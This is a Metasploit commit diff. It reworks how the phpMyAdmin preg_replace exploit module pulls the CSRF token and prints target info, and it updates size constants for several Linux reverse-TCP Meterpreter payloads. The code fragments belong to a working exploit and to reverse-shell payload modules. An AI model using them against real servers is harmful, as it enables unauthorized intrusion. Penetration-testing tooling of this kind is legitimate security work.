Skip to content

Commit 2541360

Browse files
author
Brent Cook
committed
Land rapid7#7869, Merge branch 'land-7869-preg' into upstream-master
2 parents d48ec09 + 9414b8f commit 2541360

File tree

6 files changed

+14
-7
lines changed

6 files changed

+14
-7
lines changed

modules/exploits/multi/http/phpmyadmin_preg_replace.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,9 @@ def check
113113
end
114114

115115
def exploit
116+
# Always display target info
117+
print_status(check[1])
118+
116119
uri = target_uri.path
117120
print_status("Grabbing CSRF token...")
118121
response = send_request_cgi({ 'uri' => uri})
@@ -145,7 +148,11 @@ def exploit
145148
fail_with(Failure::NotFound, "Failed to retrieve webpage.")
146149
end
147150

148-
token = login.headers['Location'].scan(/token=(.*)[&|$]/).flatten.first
151+
if login.redirect?
152+
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
153+
else
154+
fail_with(Failure::NotFound, "Couldn't find token. Wrong PMA version?")
155+
end
149156

150157
cookies = login.get_cookies
151158

@@ -162,7 +169,7 @@ def exploit
162169
end
163170

164171
db = rand_text_alpha(3+rand(3))
165-
exploit_result = send_request_cgi({
172+
send_request_cgi({
166173
'uri' => normalize_uri(uri, 'db_structure.php'),
167174
'method' => 'POST',
168175
'cookie' => cookies,

modules/payloads/singles/linux/aarch64/mettle_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 301456
14+
CachedSize = 301264
1515

1616
include Msf::Payload::Single
1717
include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/armle/mettle_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 295848
14+
CachedSize = 293160
1515

1616
include Msf::Payload::Single
1717
include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mips64/mettle_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 521872
14+
CachedSize = 521672
1515

1616
include Msf::Payload::Single
1717
include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mipsbe/mettle_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 503004
14+
CachedSize = 502792
1515

1616
include Msf::Payload::Single
1717
include Msf::Sessions::MeterpreterOptions

modules/payloads/singles/linux/mipsle/mettle_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@
1111

1212
module MetasploitModule
1313

14-
CachedSize = 503036
14+
CachedSize = 502840
1515

1616
include Msf::Payload::Single
1717
include Msf::Sessions::MeterpreterOptions

0 commit comments

Comments
 (0)